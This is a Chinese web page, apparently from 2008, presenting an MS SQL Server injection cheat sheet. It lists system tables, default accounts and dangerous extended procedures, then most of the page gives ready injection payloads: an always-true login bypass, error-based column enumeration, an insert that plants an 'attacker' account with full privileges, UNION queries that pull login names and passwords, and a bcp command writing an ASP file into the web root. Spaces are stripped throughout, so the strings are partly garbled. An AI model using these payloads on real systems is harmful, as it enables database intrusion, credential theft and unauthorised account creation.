非常经典的Ms Sql注射资料
2008-10-04 11:10:32 来源:WEB开发网Sql注射总结(早源于'or'1'='1)
最重要的表名:
select*fromsysobjects
sysobjectsncsysobjects
sysindexestsysindexes
syscolumns
systypes
sysusers
sysdatabases
sysxlogins
sysprocesses
最重要的一些用户名(默认sql数据库中存在着的)
public
dbo
guest(一般禁止,或者没权限)
db_sercurityadmin
ab_dlladmin
一些默认扩展
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
xp_availablemedia驱动器相关
xp_dirtree目录
xp_enumdsnODBC连接
xp_loginconfig服务器安全模式信息
xp_makecab创建压缩卷
xp_ntsec_enumdomainsdomain信息
xp_terminate_process终端进程,给出一个PID
例如:
sp_addextendedproc'xp_webserver','c:tempxp_foo.dll'
构造语句:查询是否存在xp_cmdshell
execxp_webserver
sp_dropextendedproc'xp_webserver'
bcp"select*FROMtest..foo"queryoutc:inetpubwwwrootruncommand.asp-c-Slocalhost-Usa-Pfoobar
'groupbyusers.idhaving1=1-
'groupbyusers.id,users.username,users.password,users.privshaving1=1-
';insertintousersvalues(666,'attacker','foobar',0xffff)-
unionselectTOP1COLUMN_NAMEFROMINFORMATION_SCHEMA.COLUMNSwhereTABLE_NAME='logintable'-
unionselectTOP1COLUMN_NAMEFROMINFORMATION_SCHEMA.COLUMNSwhereTABLE_NAME='logintable'whereCOLUMN_NAMENOTIN('login_id')-
unionselectTOP1COLUMN_NAMEFROMINFORMATION_SCHEMA.COLUMNSwhereTABLE_NAME='logintable'whereCOLUMN_NAMENOTIN('login_id','login_name')-
unionselectTOP1login_nameFROMlogintable-
unionselectTOP1passwordFROMlogintablewherelogin_name='Rahul'--
更多精彩
赞助商链接